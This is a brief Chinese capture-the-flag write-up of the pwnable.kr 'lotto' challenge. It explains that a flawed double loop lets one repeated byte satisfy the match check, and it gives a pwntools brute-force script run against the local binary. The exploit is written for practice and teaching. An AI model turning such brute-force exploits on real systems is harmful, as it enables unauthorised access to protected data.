[Toddler's Bottle]-lotto

  • 源码中有个双重循环使得我们只要满足有1比特等于产生的6比特中的一比特,就能cat flag,所以我们只要爆破那1比特就行了,仍然要在tmp新建文件夹以及软链接flag及二进制文件
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
    for(j=0; j<6; j++){
        if(lotto[i] == submit[j]){
            match++;
        }
    }
}

exp:

from pwn import *

#context.log_level = 'debug'

p = process('./lotto')


for i in range(0x20,0x7f):
    p.recvuntil('Exit\n')
    p.sendline('1')
    p.recvuntil('bytes : ')
    payload = chr(i)*6
    p.sendline(payload)

    p.recvuntil('Lotto Start!\n')
    data = p.recvline()
    if 'bad luck' not in data:
        print data
[Toddler's Bottle]-lotto_第1张图片

你可能感兴趣的:([Toddler's Bottle]-lotto)